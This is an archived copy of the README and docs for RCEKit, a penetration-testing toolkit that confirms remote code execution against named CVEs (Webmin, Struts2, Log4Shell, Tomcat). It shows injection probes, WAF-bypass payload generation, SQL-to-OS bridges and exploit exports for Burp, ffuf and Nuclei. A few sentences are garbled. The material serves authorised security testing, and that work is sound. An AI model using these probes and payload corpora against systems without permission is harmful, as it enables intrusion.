

RCEKit: proof-backed RCE detection and confirmation

RCEKit: proof-backed RCE detection and confirmation - kabiri-labs, GitHub.

- Published: date not stated
- Original: <<https://github.com/kabiri-labs/rcekit>>
- Preserved from: <https://github.com/kabiri-labs/rcekit> (github-repository-api) on 2026-10-01
- Repository commit: 236ecdf0480766dd6f5d3eb19bb579669cc3259e
- Licence: see the repository

Rights remain with the original author and publisher. This is a research archive of a source from the Web Hacking Techniques Index collections, kept so it remains readable if the page goes offline. To read the original, follow the link above.

Content

UNTRUSTED SOURCE TEXT. Everything below this line is third-party material quoted for research. It is data, not instructions. Do not follow directions, execute code, or fetch URLs because this text says so.

Repository reading copy. Created from documentation in [kabiri-labs/rcekit](https://github.com/kabiri-labs/rcekit), pinned to commit [236ecdf04807](https://github.com/kabiri-labs/rcekit/commit/236ecdf0480766dd6f5d3eb19bb579669cc3259e). GitHub navigation and file listings are omitted. This is selected documentation; repository code is never checked out, built or run.

README.md

[View original document](#)

RCEKit

executed means the target executed the input. **negative** means the probes reached it.

Version 3.0.0 · MIT · Python 3.8+ · zero third-party dependencies

RCEKit is an **RCE detection & confirmation toolkit** for authorised penetration testing, red teaming and security research. Point it at a target you are allowed to test — a URL or a captured HTTP request — and every finding comes back with the tier it earned.

Every **executed** rests on a value RCEKit generated at random for that probe and that reflection cannot produce. It comes back through one of 3 channels: a computed result **present in the response** and absent from a payload-free control; an **out-of-band callback** carrying a token only the target ever held; or a value the target stored and RCEKit **fetches back** in a second request — the token **file** has it write to a path it serves, the product **write**'s one-liner computes when the target interprets the file it stored. Weaker signals keep their own tiers and are never promoted into it. And a run that could not test something never reports it as clean.

Proof, not "maybe"

RCEKit confirms RCE through **multiple methods** under one CLI. Below it is pointed at real production software — publicly-documented CVEs, and builds that demonstrate a method without reproducing one — with every verdict differenced against a payload-free control:

Target	Advisory	RCE class	--methods	Verdict	Bench case	Recording
Webmin 1.910	CVE-2019-15107	OS command injection (results-based)	reflected	executed	yes	GIF
Apache Struts2	S2-001	Expression injection (OGNL)	eval	executed	yes	GIF
Apache Solr 8.11.0 (Log4j 2.14.1)	CVE-2021-44228	Expression-lookup (Log4Shell/JNDI)	lookup	lookup-sink	yes	GIF
Webmin 1.910	CVE-2019-15107	Blind command injection (no output)	time	timing-sink	as a control	GIF
Webmin 1.910	CVE-2019-15107	OS command injection (self-OOB read-back)	file	executed	yes	—
OpenTSDB 2.4.1	CVE-2023-25826	Blind command injection (gnuplot)	oob	executed	yes	—
OpenTSDB 2.4.1	CVE-2023-25826	Blind command injection (gnuplot)	time	timing-sink	as a control	—
Apache HugeGraph 1.2.0	—	Expression injection (Gremlin/Groovy)	eval	executed	yes	—
Apache HugeGraph 1.2.0	—	OS command injection	reflected	executed	yes	—
Spring Boot on fastjson 1.2.83	—	Deserialization sink	deser	deserialization-sink	yes	—
Apache Tomcat 8.5.19	CVE-2017-12615	Write primitive (PUT a JSP)	write	executed	yes	—

3 of those columns say how much weight the row carries, and they are the ones worth reading before the rest.

Verdict is what the run reported against that build. Measured, not what the method could reach in principle.

Bench case says whether `tests/bench/` reproduces the row — bringing the target up under Docker and checking the verdict **and** its negative control. All 11 rows do; `python tests/bench/runner.py --all` was last green at **3.0.0** (2026-09-30), 9/9 cases in 55m50s. That is a point-in-time claim: the benchmark runs on a cadence, not on every change.

The controls are not in this table and two of them are the point. On a Webmin 1.910 and an OpenTSDB 2.4.1 that are genuinely vulnerable, `time` reaches its own proven tier and still does not reach `executed` — a ceiling holding against real software rather than against a fixture. Those two are the rows reading *as a control* above. The full 9, controls included, are in `tests/bench/README.md`.

Advisory is empty where the verdict does not depend on the patch. Both HugeGraph rows and the fastjson row are — deliberately: HugeGraph 1.3.0 answers the arithmetic exactly as 1.2.0 does — its Gremlin API evaluates Groovy unauthenticated by design, which was checked by pulling the patched image and running it — and fastjson resolving an `Inet4Address` is documented `autoType` behaviour. Those rows prove a **method** against real software, which is worth recording; calling them CVE reproductions would be the overclaim this table exists to avoid.

Each control is the row's real test. Struts2 probed with `reflected` comes back `negative`, because S2-001 re-evaluates OGNL and there is no shell behind it. Webmin's `time` signal is held at `timing-sink` on a target where it happens to be right. And Solr probed with `oob` comes back `negative` **although it is exploitable** -- `oob` builds shell commands and a `${jndi:...}` sink runs none of them, which is the gap `lookup` exists to close, measured rather than asserted.

The Log4Shell row says `lookup-sink`, not `executed`: what the callback proves is that the sink resolved a URI RCEKit chose. Reaching RCE needs a server that answers the lookup with a loadable class, and at the default risk tier only `jndi:dns://` goes out -- a name lookup, with no connection past it for such a server to answer on.

<details open> <summary><code>reflected</code> — OS command injection, Webmin CVE-2019-15107 → <code>executed</code></summary>


```
kabiri@ubuntu:~/rcekit$
```

</details>

<details> <summary><code>eval</code> — OGNL expression injection, Apache Struts2 S2-001 → <code>executed</code></summary>


```
kabiri@ubuntu:~/rcekit$
```

I

</details>

<details> <summary>out-of-band — blind Log4Shell (CVE-2021-44228) via a DNS callback → <code>lookup-sink</code></summary>


```
kabiri@ubuntu:~/rcekit$ A terminal window with a dark purple background. The prompt is 'kabiri@ubuntu:~/rcekit$' followed by a cursor. The terminal is mostly empty, with a single cursor visible in the center of the lower half.
```

</details>

<details> <summary><code>time</code> — blind command injection, Webmin CVE-2019-15107 → <code>timing-sink</code></summary>


```
kabiri@ubuntu:~/rcekit$ A terminal window with a dark purple background. The prompt is 'kabiri@ubuntu:~/rcekit$' followed by a cursor. The terminal is mostly empty, with a single cursor visible in the bottom right corner.
```

</details>

Quick start

RCEKit has **two supported shapes**, and neither is a fallback for the other.

Install it — `pipx` keeps the CLI in its own environment, which is what you want for a tool rather than a library:

```
pipx install rcekit          # or: pip install rcekit
rcekit --doctor              # confirms the corpus it will run with
```

Or take just the one file. The payload corpus is built into the module, so `rcekit.py` runs on its own with nothing beside it — no install step, no site-packages, nothing to leave behind. On a client jump box, an air-gapped host, or anywhere `pip install` is not an option:

```
curl -O https://raw.githubusercontent.com/kabiri-labs/rcekit/main/rcekit.py
python rcekit.py --doctor    # same corpus, same check, zero installation
```

Both run the same code and report the same verdicts. Working from a checkout is the third way, and needs no install either:

```
git clone https://github.com/kabiri-labs/rcekit.git
cd rcekit                      # Python 3.8+, standard library only
```

Put a `FUZZ` marker where your input lands (or select a parameter with `-p` when using a captured request), and ask RCEKit to prove RCE:

```
rcekit --acknowledge-consent \
  --verify-url "https://target.example/lookup?host=FUZZ" \
  --methods reflected,eval
```

```
[detect] methods: reflected, eval
[detect] sent 1430 probes (1430 result(s)): executed=17, negative=1413

[detect] EXECUTED (17):
[reflected/unix/raw] | awk 'BEGIN{print "RKDXCXU" 206334+786088 "RKLMVXZ"}'
(target computed 'RKDXCXU992422RKLMVXZ' (random operands, absent from control))
```

That is 1430 requests against this target. With no `--environments`, RCEKit sweeps every sink dialect it knows — POSIX, `cmd.exe`, PowerShell, and the language runtimes that reach a shell — because which one is behind the parameter is the thing you do not know yet. 17 of

them computed the value, which is one sink answering in seventeen dialects, not seventeen findings.

The target moves the number: at the default `--confirm-depth first`, a carrier stops once it confirms, so a sink that answers sends **fewer** probes than one that never does. The same command against an endpoint that only echoes sent 1684.

Narrow it when you already know something. Against the same target, the same command plus `--environments unix` sends 177 requests; adding `--contexts raw` as well sends 32.

`--max-payloads` **is not a total**. It is a probe budget spent *per injection point, per question* — execution, lookup and deserialization are three questions — and the payload-free control each point sends is outside it. With `--auto-params all`, `--max-payloads 5` across 3 points and 2 questions sent 30 probes, not 5. Read the cost line, which prints before any traffic and says which multiplier it is applying:

```
[detect] cost: 3 points x ~10 probes (capped by --max-payloads 5 per question,
          2 question(s) asked) = at least 36 requests (each point carries its
          own payload-free control)
```

From a captured request — the shape most real targets have

A `--verify-url` carries a URL and nothing else. Most sinks worth testing sit behind a POST with a session cookie, a content type and a body, and RCEKit takes that request whole: save it from your proxy or your browser's devtools and name the field to inject into.

```
rcekit --acknowledge-consent \
  -r search.req -p q \
  --methods reflected,eval
```

```
[detect] EXECUTED (17):
[reflected/unix/raw] | awk 'BEGIN{print "RKXJTON" 570247+922635 "RKJCVJT"}'
(target computed 'RKXJTON1492882RKJCVJT' (random operands, absent from control))
```

Same corpus, so the same scale as above — what changes is that the session cookie, the content type and the body go with every probe.

The method, path, headers, body and cookies are reused as captured, and each value is encoded for the context it lands in — a JSON leaf, a form field and a cookie are not escaped the same way. Drop `-p` and mark the spot with `FUZZ` or `*` instead, if you prefer.

Everything the tool has

Two things are only reachable from a captured request: **injection-point enumeration** (`--auto-params`), and any sink that needs a session. So the fullest run RCEKit can make starts from `-r`, not from a URL — which is worth knowing before concluding a target is clean.

```
rcekit --acknowledge-consent \  
-r search.req --auto-params all --point-order thorough \  
--methods reflected,eval,time,lookup,deser \  
--oob-host oob.yourdomain.example --listen-dns-port 53 \  
--verify-active-risk stateful --probe-depth full \  
--detect-json findings.json
```

```
[verify] loaded request from search.req: enumerating 4 injection point(s)  
[detect] enumerating 4 injection point(s) x 3 method(s)  
[detect] cost: 4 points x ~1739 probes = at least 6964 requests  
[detect] body param 'q': executed (1544 probes) <-- EXECUTED  
[detect] sent 6371 probes: executed=446, negative=5925
```

What each flag opens up:

<code>--auto-params all</code>	every query value, JSON leaf, form field, multipart part, cookie and header, instead of one named field
<code>--point-order thorough</code>	every non-hop-by-hop header, not just the high-yield ones
<code>--methods ...,lookup,deser</code>	expression-lookup and deserialization sinks, which the shell-shaped methods cannot reach
<code>--oob-host</code>	a callback host for the blind methods. Needs a domain delegated to you; port 53 needs root
<code>--verify-active-risk stateful</code>	the top rung — adds the probe shapes that make the target fetch from an address RCEKit did not choose
<code>--probe-depth full</code>	every break-out shape per sink, not the cheap ones only
<code>--detect-json</code>	the same verdicts as machine-readable JSON

This is a lot of requests. The cost line prints before anything fires, and `--max-points` / `--max-payloads` bound it. Run it against an instance you are allowed to break: `--verify-active-risk stateful` is the tier for a disposable target, not for production.

No external infrastructure, no config file.

Don't take the GIFs on trust — [reproduce them yourself](#) against dockerised Webmin and Struts2 targets in about five minutes.

Next: the [field guide](#) walks the real situations — captured requests, WAFs, filtered separators, quoted sinks, blind and no-egress targets — one worked example each.

What a verdict means

Finding an RCE *candidate* is easy. Reporting one that survives someone else's retest is the hard part, and it fails in two directions: a "possibly vulnerable" that turns out to be reflection, and a "not vulnerable" from a run that never actually tested anything.

RCEKit answers with **twelve verdicts that are never collapsed into each other**. Every one of them is named for **what the target did**, not for how sure RCEKit is:

Verdict	What it asserts
executed	The target executed the input. It returned a value it could not produce otherwise — computed from operands random to that probe — and that value is absent from a payload-free control.
timing-sink	The target honoured a delay RCEKit injected: response time tracked a randomised <code>0/N/2N</code> series with the request index modelled out. Proven. What waited is not shown — a sandbox implementing <code>sleep</code> answers the same way — so it is not execution.
file-write	The target stored a file at a path RCEKit chose, and served it back uninterpreted. Arbitrary file write, proven by reading it back. A real finding, and not RCE.
evaluation-sink	An evaluator consumed the input and partitioned the response on it, through randomised true/false predicates anchored either side. Proven. <i>Which</i> evaluator is not shown, and that is the whole limit.
deserialization-sink	The target reconstructed an attacker-supplied object graph. Proven, but about a <i>different property</i> : reaching RCE from there depends on classpath gadgets, so it is never called RCE.
lookup-sink	The target resolved a URI RCEKit handed it — a <code>\${jndi:...}</code> expression reached a lookup, proven on a callback carrying a token only that probe held. It is a sink, not execution: reaching RCE from there needs a server answering with a loadable class.
needs-review	A real signal that is not proof on its own — the parser fingerprint <code>deser</code> reads without a listener. The one verdict here that is genuinely a candidate.
inconclusive	Nothing here can be attributed to execution. Either the evidence appeared and the payload-free control carried it too, or the run never gathered it — a response channel too unsteady to carry an answer, or a measurement <code>--max-payloads</code> could not afford to finish. It outranks <code>negative</code> , because a run that did not look is not a run that found nothing.
negative	Probes were built, reached the target, and found nothing.
blocked	A filter refused the payload where the payload-free control got through, so the sink never saw it. The probes reached something; it was not the target.
error	Nothing reached the target.
nothing-tested	No probes were built at all.

The moment `executed` and maybe `blur`, `executed` stops meaning anything — so nothing is ever promoted upward. A timing regression stays `timing-sink` however clean the slope. A deserialization callback stays `deserialization-sink` however certain you are that the classpath is exploitable. A response shape that tracks a predicate stays `evaluation-sink` however cleanly it partitions: measured against a sandboxed `eval` sink and against a plain SQLite comparison, that oracle produced the same clean differential in 40 runs each, and only one of those two is RCE.

Nothing is rounded down either, which is the half that used to be wrong. Three of the rows above — `timing-sink`, `file-write`, `evaluation-sink` — were reported as `needs-review` until 3.0.0. Each is a settled measurement, so `needs-review` was RCEKit declaring itself unsure of something it had proven; a `file-write` finding printed the words "ARBITRARY FILE WRITE confirmed" under a verdict that said the opposite. A verdict now says what happened and stops there.

The other half: a run that tested nothing is never clean

The last three rows are the ones other tools do not have, and they matter more than they look. A scanner that could not reach the target, that built no probes because your flags excluded every one of them, or whose every payload was refused by a WAF, has learned **nothing** about the target — and printing `negative` there is a lie that reads exactly like safety. So `error` and `nothing-tested` are first-class verdicts, the run exits non-zero, and RCEKit says which of them happened and why:

```
[!] No probes were built, so NOTHING WAS TESTED — this is not a negative result.
[!] None of the selected methods (reflected, file) apply to environment(s): sql.
```

It fires wherever a run can quietly become empty: a method that does not apply to the selected environments, a `--sink-shape` rung the chosen shell has no syntax for, a `--bridges` selection entirely held back by the safety ceiling, a request body that broke delivery before it arrived.

A run that was only *partly* blinded gets the same treatment one level down. If you asked for a second-order oracle and the observed endpoint never answered, the probe verdicts still stand — but the run tells you they were decided without ever reading the channel you pointed it at, rather than letting them pass for a second-order negative.

What it confirms

One CLI, one `--methods` flag, covering the main paths to RCE:

RCE class	--methods	How RCEKit proves it
OS command injection	reflected	Makes the shell compute <code>\$((a+b))</code> on random operands and collapse <code>\$(echo TAG)</code> ; confirms the <i>result</i> , never the literal expression. Written in the sink's own dialect — POSIX, <code>cmd.exe</code> or PowerShell.
Code / expression injection — SSTI, SpEL, OGNL, Groovy, <code>eval()</code> (CWE-94)	eval	Injects <code>a*b</code> in every common template syntax (<code>\${...}</code> <code>{{...}}</code> <code>#{...}</code> <code>%{...}</code> <code><%=...%></code> <code>@(...)</code> , bare); confirms the product appears while the literal <code>a*b</code> does not.
Blind command injection (no output)	time	Fires a controlled <code>0/N/2N</code> delay series and confirms the response time tracks the delay linearly ; reported

RCE class	--methods	How RCEKit proves it
		<code>timing-sink</code> — proven, and not execution: what waited is not shown.
Internal / no-egress targets	<code>file</code>	Writes a random token and fetches it back through <i>any</i> read-back path — a web root, an LFI parameter, a download or export handler, a <code>/tmp</code> -backed preview. Proves execution plus a write primitive, with no external listener.
Upload / write primitive — PUT-a-JSP, unchecked upload (CWE-434)	<code>write</code>	Writes a one-liner that <i>computes</i> a product through your own upload request, then fetches the file: the product is <code>executed</code> RCE, the source coming back verbatim is <code>file-write</code> — arbitrary file write, served but not interpreted.
Deserialization sinks — fastjson, shiro, weblogic (CWE-502)	<code>deser</code>	Proves the endpoint deserializes attacker data, via a non-executing DNS gadget or an error-shape differential. Reported as <code>deserialization-sink</code> , never as RCE.
Blind / out-of-band — exfil, async	<code>oob</code>	Built-in HTTP/DNS listener receives callbacks and correlates each to the exact payload; every probe carries its own token.
Predicate sinks with nothing rendered — MongoDB <code>\$where</code> , filter and rule expressions	<code>boolean</code>	Fires randomised true/false comparisons on random operands and reads the <i>shape</i> of the response, anchored either side so a target that merely drifts cannot answer in its place. Reported <code>evaluation-sink</code> : proven that an evaluator consumed the input, and no more — a query engine comparing two numbers produces the same differential.
Expression-lookup sinks — Log4Shell/JNDI	<code>lookup</code>	The sink resolves a <code>\${jndi:...}</code> URI instead of running a command, so <code>oob</code> 's shell probes reach nothing. Proves it on the callback alone and reports <code>lookup-sink</code> , never <code>executed</code> . Only <code>jndi:dns://</code> is sent — a name lookup and nothing else — so what is proven is the lookup, not a gadget chain.

Three things widen where those methods can reach, without changing what any of them will call `executed`:

- **Second-order execution** (`--observe-url`) — when the payload lands on one request and runs on another: stored SSTI rendered on a profile page, a payload written to a log a template engine later renders, a queued job. The observed endpoint is differenced against a snapshot taken *before* any probe was sent.
- **Query-language bridges** (`--bridges`) — `COPY ... FROM PROGRAM`, `xp_cmdshell`, `expect://`. A bridge is a carrier, not an oracle: it wraps the command the methods already build, so the same tiers apply through it.
- **Injection-point enumeration** (`-p all`) — query, JSON leaves, form fields,

multipart parts, cookies, headers and path segments, each encoded for where it lands, with the probe cost printed before anything fires. A GraphQL body is ordered by what can actually confirm: the `variables` a resolver reads before the operation document itself.

Mix methods freely: `--methods reflected,eval,time` runs all three and reports each tier separately.

Honest scope. RCEKit confirms RCE that is reachable by **injecting into a request** and interpreted by a shell or an evaluator. It does **not** cover memory-corruption bugs (buffer overflow, UAF) or argument injection into a no-shell `argv` array — those are different problems. **Deserialization gadget chains stay out of scope too:** `--methods deser` proves an endpoint *deserializes* attacker data and says so in its own tier, but which gadget (if any) turns that into execution depends on the target's classpath, and RCEKit does not claim to know. It aims to be excellent at the injection-driven RCE classes above rather than mediocre at everything.

How RCEKit compares

The other tools in this space are built to get you **in**. RCEKit is built so the finding **survives someone else's scrutiny** — the client's retest, the triage queue, the report review. That difference shows up three times.

1. One injection point, every class, one run

You rarely know the class before you test. Covering an unknown sink with single-class tools means running each in turn and rebuilding the request for each one:

Can confirm	RCEKit	commix	SSTImap	Nuclei
OS command injection — <code>reflected</code>	☐	☐ (<i>its whole scope</i>)	—	per template
Expression injection / SSTI — <code>eval</code>	☐	via its eval-based technique	☐ (<i>its whole scope</i>)	per template
Blind — timing — <code>time</code>	☐ <i>as a separate tier</i>	☐	☐	—
Blind — out-of-band — <code>oob</code>	☐ <i>built-in listener</i>	—	—	via interactsh
Expression-lookup — Log4Shell/JNDI — <code>lookup</code>	☐ <i>own tier, never called RCE</i>	—	—	per template
No-egress — write & fetch back — <code>file</code>	☐ <i>any read-back path</i>	☐ (<i>web root</i>)	—	—
<code>cmd.exe</code> and PowerShell sinks	☐ <i>per-dialect probes</i>	☐ (<i>cmd</i>)	—	per template
Upload → write-then-execute — <code>write</code>	☐ <i>write vs. execute, separate tiers</i>	—	—	per template

Can confirm	RCEKit	commix	SSTlmap	Nuclei
Predicate sink, nothing rendered — <code>boolean</code>	□ <i>response-shape differential, own tier, never RCE</i>	—	—	—
Second-order — lands here, runs there	□	—	—	—
Query-language bridge to the OS	□	—	—	per template
Deserialization sink — <code>deser</code>	□ <i>own tier, never called RCE</i>	—	—	per template
All of the above, one CLI, one run	□	—	—	—

_{Coverage per each project's own documented technique list. SSTlmap is the maintained successor to tplmap, which its author has marked unmaintained.}

```
# Command injection, expression injection and blind timing against the same
# parameter, in one pass, with zero infrastructure
python rcekit.py --acknowledge-consent -r request.txt -p host --methods reflected,eval,time
```

2. It argues with its own results

A tool reports what it found. RCEKit also reports **what it refused to believe** — `inconclusive` is a verdict of its own, for anything it cannot attribute to execution: evidence that showed up in the payload-free control too, and equally a measurement the run never finished gathering. Either would have been someone else's finding.

Five mechanisms produce that verdict, and they run on every confirmation:

- **A payload-free control request.** Evidence must be present *with* the payload and absent *without* it. Anything in both is `inconclusive`, not a finding.
- **A same-token inert control.** A second request carries the identical random token in a non-executing form. A target that merely echoes input fails here — which is how a reflection is separated from an execution.
- **Random operands, never fixed strings.** The oracle is a tag-wrapped sum or a boundary-fenced product computed fresh each run. Echoing the payload returns the literal `$((a+b))`; only execution returns the value.
- **Encoding-aware evidence search.** A sink that base64-, hex-, URL-, HTML- or unicode-escapes its output still confirms — the raw body is checked first, so decoding only ever turns a missed hit into a hit, never the reverse.
- **Whole-response evidence search.** The computed value is looked for in every

channel of the response — body, application headers, cookie values, the redirect target, the HTTP reason phrase, and each leaf of a JSON error envelope — and the finding names the channel that carried it. The control differential is applied to every channel too, so widening where RCEKit looks does not widen what it will call `executed`.

The same instinct runs the other way. Timing **never self-confirms**, a deserialization callback is **never** called RCE, a response shape that tracks a predicate is **never** called execution — a query engine comparing two numbers produces the same shape — and a run that built no probes is **never** called negative.

3. It is built for an authorised engagement, not a lab

The controls a client's rules of engagement actually ask about, in the tool rather than in your notes:

Consent gate	Nothing exploitative generates or fires without <code>--acknowledge-consent</code> .
Execution plan	Prints the exact probe count, sink shapes, safety tiers and any outbound callback destinations before the first request goes out.
Safe by default	Reverse shells, credential access, cloud metadata, lateral movement and container escape are held back until you raise <code>--verify-active-risk</code> ; persistence and backdoors need a second flag on top. Bridges that create an object on the target are held to the same ceiling.
Cleanup commands	<code>file</code> , <code>write</code> and the stateful bridges change target state, so every finding — including a <code>file-write</code> — prints what to run to undo it.
Credentials stay put	The <code>file</code> read-back fetch carries the run's <code>Authorization</code> / <code>Cookie</code> headers only to the <i>same origin</i> , and says so out loud when it withholds them. The observed-channel fetch sends none at all unless you hand it a request with <code>--observe-request</code> .
Redacted audit trail	Every run lands in <code>exploit_audit.log</code> , recording that a credential header was sent, never its value.
Watermarking	<code>--watermark</code> stamps a traceable token into each payload, so a payload found in the client's logs months later is attributable to your run.
No third-party callbacks	The OOB listener is yours. Nothing is routed through a public interaction server, which some engagements forbid outright.
One stdlib file	<code>rcekit.py</code> runs alone — jump box, air-gapped host, anywhere <code>pip install</code> is not an option.

When to reach for something else

Want a shell rather than a verdict? `commix` and `SSTImap` continue into post-exploitation; RCEKit stops at proof by design. Sweeping thousands of hosts for known CVEs? That is `Nuclei`'s job — and RCEKit *writes* `Nuclei` templates (`--output-format nuclei`), so it feeds your scanner instead of competing with it. Already know the injection is SQL and want the database itself? `sqlmap` owns that ground — RCEKit's bridges exist to prove the **OS** is reachable from a text parameter, not to exploit the database.

Find your situation

Each row is a worked example in the [field guide](#) — the command, what it sends, and how to read what comes back.

Situation	Go to
I have a URL and a parameter	Point at a URL
I have a request saved from Burp	Point at a captured request
The app is JSON / the payload keeps getting mangled	Landing the payload intact
I don't know which class it is	Choosing methods
The sink strips <code>;</code>	When the sink filters separators
My input lands inside <code>'quotes'</code>	Injecting inside quotes
The sink runs my input as the whole command	Whole-command sinks
The target is Windows or the sink is PowerShell	Windows and PowerShell sinks
There's a WAF	Working around a WAF
No output comes back at all	Blind targets
No output <i>and</i> no egress	No-egress targets
The request stores a file instead of running anything	Upload and write-primitive targets
The payload runs later, on a different request	When execution happens on another request
The injection point is SQL and the sink is the database host	Query-language bridges
The endpoint takes a serialized object	Deserialization sinks
The sink evaluates my input but renders nothing of it	When the sink answers yes or no
The sink is behind a login or a file upload	Multi-step chains
I got a weaker tier / <code>inconclusive</code> / <code>error</code>	Reading the results
It says the corpus is unusable	Troubleshooting

Documentation

Verify it yourself	Reproduce the confirmations above on your own machine, against dockerised vulnerable targets. Five minutes.
Field guide	Example-driven walkthrough of every real situation, from a first probe to multi-step chains. Start here.

Payload generation & exports	RCEKit as a payload generator: target profiles, and Burp / ffuf / Nuclei exports.
Reference	Every flag, environment, category, context, encoding and code-execution sink.
CHANGELOG.md	What changed in each release, and what to re-check when upgrading.
CONTRIBUTING.md	How to add sinks, categories, encodings and detection methods.
SECURITY.md	Reporting a vulnerability in RCEKit itself.

Safety & ethics

RCEKit exploits, and that is the point. A vulnerability is confirmed by making the target do the thing, because that is the only evidence a signature cannot fake and a patched build cannot produce by accident. What bounds a run is not reluctance to exploit. It is two structural facts and one switch.

It takes no arbitrary payload from you. Probes are built by the engine to serve an oracle — arithmetic on operands random to that probe, a name only this run could have chosen. There is no input that turns detection into something else, because there is no such input to give.

Anything reaching past computing a value declares the tier it needs, so one flag decides how far a run goes: `--verify-active-risk safe | intrusive | stateful`. A method or a single probe *shape* above that tier is held back **by name**, with the flag that would send it — a ladder that shrinks quietly is indistinguishable from a target with nothing to find. Against a disposable instance, raise the tier and get everything the tool has.

- **Consent gate** — exploitation generation and verification require

`--acknowledge-consent` ; `--detection-only` is benign and does not.

- **Safe by default** — verification fires only low-impact proofs; reverse shells,

download-execute, credential access, lateral movement, container escape, cloud-metadata and OOB payloads are held back until you raise `--verify-active-risk`. Destructive payloads (persistence, backdoors) are never fired without `--verify-allow-destructive`. An **execution plan** prints exactly what will be sent before anything fires.

- **Safety tiers** — `safe` / `intrusive` / `stateful`. Corpus payloads are

filtered by `--max-safety`; detection methods and their probe shapes declare the same rungs and are filtered by `--verify-active-risk`, so a method that makes the target reach out or leaves something behind is held to the same ordering as every corpus payload. The pre-flight names the tier each held-back item actually needs. `file` and `write` are gated by their own configuration instead: neither does anything until you name a directory to write into and a URL to read it back from.

- **Audit & logging** — every exploitation/verification run is recorded in

`exploit_audit.log` ; `--watermark` embeds a traceable token; execution logs go to `rcekit.log`.

- **Corpus integrity** — a corpus that is corrupt, or an explicit

`--template-file` that is missing, makes RCEKit refuse to run and exit non-zero rather than silently generate nothing (`--doctor` checks it). Only an absent *default* corpus file falls back to the built-in copy, and it says so when it does.

This toolkit is intended for authorised penetration testing, security research, education, and defensive training only. **Never use it against systems without explicit permission** — unauthorized testing is illegal.

Development

```
python -m unittest discover -s tests    # dependency-free test suite
```

Contributions welcome — new sinks/categories, encodings, environments, detection methods, bug fixes, and docs. Payload bases live in editable JSON templates (`templates/payloads.json`), so most coverage extends without touching the Python source. After changing the corpus, refresh the built-in copy that ships inside `rcekit.py` :

```
python tools/embed_corpus.py    # --check verifies it is current
```

The test suite fails if the two ever drift. See [CONTRIBUTING.md](#).

License

MIT — see [LICENSE](#).

`docs/generation.md`

[View original document](#)

Payload generation & exports

Under the detection engine, RCEKit is also a strong payload **generator**. It builds context- and sink-aware payloads across 14 environments and exports them to the tools you already use, so the corpus that proves an RCE is the same corpus you fuzz with.

For confirming RCE against a live target, see the [field guide](#); for the full taxonomy of environments, categories, contexts and encodings, see [reference.md](#).

Contents

- Generating payloads
 - Target profiles
 - Exports
 - Why generated payloads actually run
-

Generating payloads

```
# Benign probes (no consent needed) – does your input even reach a sink?
python rcekit.py --detection-only --output detect.txt

# Targeted payloads for an engagement
python rcekit.py --acknowledge-consent \
  --environments unix --categories basic_enum file_operations waf_bypass \
  --output payloads.txt

# Machine-readable, with indicators and safety tiers alongside
python rcekit.py --acknowledge-consent --environments php \
  --output-format jsonl --include-metadata --output payloads.jsonl
```

Narrowing is what makes the output usable. Every one of `--environments`, `--categories`, `--contexts` and `--encodings` cuts the corpus; `--max-payloads` caps it with a balanced round-robin sample so you don't end up with 200 variants of the same idea.

`--watermark` embeds a traceable token in each payload, which is worth turning on whenever generated payloads leave your machine — if one shows up in a client's logs later, you can prove which run produced it.

Target profiles

Describe the target once in a small JSON file and generate only what could actually reach the sink. The profile supplies defaults; explicit CLI flags always override it.

```
{
  "name": "shell-concat-noquotes",
  "environments": ["unix"],
  "contexts": ["raw"],
  "categories": ["basic_enum", "file_operations", "waf_bypass"],
  "deny_chars": ["'", "\""],
  "sink_needs_separator": true
}
```

```
python rcekit.py --acknowledge-consent --target-profile profiles/shell-concat-noquotes.json
```

Example profiles ship in `profiles/`.

Character and length filters apply to the **final** payload, after encoding — so a URL-encoded quote survives a `deny_chars` quote filter, because the literal character is no longer there.

They also reach the **detection probe ladder** (`--methods`), where the check is deliberately stricter: a probe is judged on its literal form, before the delivery layer percent-encodes it for its injection point. The layers genuinely differ — transport encoding is undone by the server before the value reaches the sink, so a percent-encoded quote is still a quote when the application's own filter sees it. Denying a character narrows the ladder rather than emptying it: a target that strips `;` is still probed through `|`, `||`, `&&` and the newline. A profile strict enough to remove every probe reports `nothing-tested`, never `negative` — a run that sent nothing has not measured the target.

Sink shape is the higher-leverage knob:

Key / flag	Meaning
<code>sink_needs_separator</code> / <code>--sink-needs-separator</code>	Input is concatenated mid-command → keep only separator-led break-outs
<code>sink_blind</code> / <code>--sink-blind</code>	Sink returns no output → keep only OOB- and timing-confirmable payloads
<code>sink_decodes</code> / <code>--sink-decodes</code>	Sink decodes input before use → those encodings become valid and are generated

Against a mid-command sink, `sink_needs_separator` dropped ~20% of payloads *without losing a single confirmed hit*.

A profile may also carry a `request` block (URL, method, headers, body with `FUZZ`), which shapes the Burp/ffuf/Nuclei exports to the real endpoint instead of a generic placeholder.

Exports

```
python rcekit.py --acknowledge-consent --categories code_execution \
  --output-format nuclei --output run
```

--output-format	What you get
<code>text</code>	One payload per line. The default.
<code>jsonl</code>	One JSON object per payload; pair with <code>--include-metadata</code> for indicators, safety tiers and notes.
<code>burp</code>	Deduplicated, watermark-free wordlists split per context, plus a combined list. A <code>request.txt</code> with Burp's <code>\$...\$</code> marker is written when a profile supplies a real request.
<code>ffuf</code>	The same wordlists and — with a profile <code>request</code> block — a ready-to-run <code>request.txt</code> plus an executable <code>run.sh</code> .
<code>nuclei</code>	Runnable templates grouped by environment and oracle (OOB / time-based / reflection).

For the fullest Nuclei pack, generate from the benign corpus:

```
python rcekit.py --detection-only --output-format nuclei --output run
```

For `burp` and `nuclei`, `--output` is a **base directory** rather than a single file.

Why generated payloads actually run

Every generated payload either runs as-is on its sink or carries its own decoder. Transforms that would produce a non-runnable string are removed, and decoder-required blobs (`base64`, `hex`, `base64_then_url`, `double_base64`) are opt-in — they are only generated when you tell RCEKit the sink decodes its input, via `--sink-decodes` or a profile's `sink_decodes`.

The practical consequence: you never copy a payload out of the output that silently does nothing. A payload that appears in the list is one that fires on the sink it was generated for.

`docs/guide.md`

[View original document](#)

RCEKit field guide

Every section below is a situation you actually hit on an engagement, with the command that handles it and how to read what comes back. If you are looking for the exhaustive list of flags instead, that lives in [reference.md](#).

Everything here needs `--acknowledge-consent` — RCEKit actively sends payloads, so only ever run it against systems you are authorised to test.

Contents

- The five-minute workflow
- Point at a URL
- Point at a captured request
- Landing the payload intact
- Choosing methods
- When the sink filters separators
- Injecting inside quotes
- Whole-command sinks
- Windows and PowerShell sinks
- Working around a WAF
- Blind targets
- No-egress targets
- Upload and write-primitive targets
- When execution happens on another request
- Out-of-band callbacks
- Multi-step chains

- Reading the results
 - Keeping the run quiet
 - Troubleshooting
-

The five-minute workflow

